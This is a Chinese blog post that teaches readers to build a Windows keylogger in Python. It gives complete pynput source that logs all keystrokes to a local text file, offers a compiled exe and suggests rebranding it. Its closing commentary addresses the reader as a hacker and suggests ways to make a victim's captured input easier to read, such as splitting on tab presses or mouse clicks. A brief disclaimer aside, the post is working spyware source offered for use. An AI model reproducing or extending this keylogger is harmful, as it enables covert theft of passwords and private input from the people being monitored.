想要监控键盘?Python搞定!附视频体验和软件

图片[1]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog

相关声明

本文目的仅为培养Python开发兴趣,切勿用于非法用途。

视频演示

通过生成的exe运行后,可以监控到键盘的运行记录

C:\keylogger\fancypig.txt会有相关记录

图片[2]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog

软件下载

需要评论才能下载相关软件,本软件只能在windows系统上运行

源码编译

如果你想更深入的了解代码部分,或者想自己打包成自己品牌logo的,请看下面的教程。

图片[3]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog

环境依赖

需要依赖pynput模块,可以使用pip安装

pip install pynput

也可以在pycharm的settings>Interpreter中安装

图片[4]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog
图片[5]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog
图片[6]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog

相关代码

Python相关代码

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
    string = str(key).replace("'","")
def on_release(key):
    global keys
    string = str(key).replace("'","")
    keys.append('\r'+string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('C:/Keylogger/fancypig.txt', 'a') as f:
          f.write(main_string)
          keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

这里会将键盘记录传入C:/Keylogger/fancypig.txt

打包

点评

上面代码其实存在很多的缺陷,如果你是一个黑客的话,你可能可以通过用户使用tab键切换表单来判断输入框的间隔,或者通过其他分析手段,但是这样并不是很智能,我们其实可以尝试通过鼠标点击来截断输出,这样就可以连贯的看到用户输入的词了,快来尝试一下吧!

© 版权声明
THE END
喜欢就支持一下吧
点赞58赞赏 分享
评论 共109条

请登录后发表评论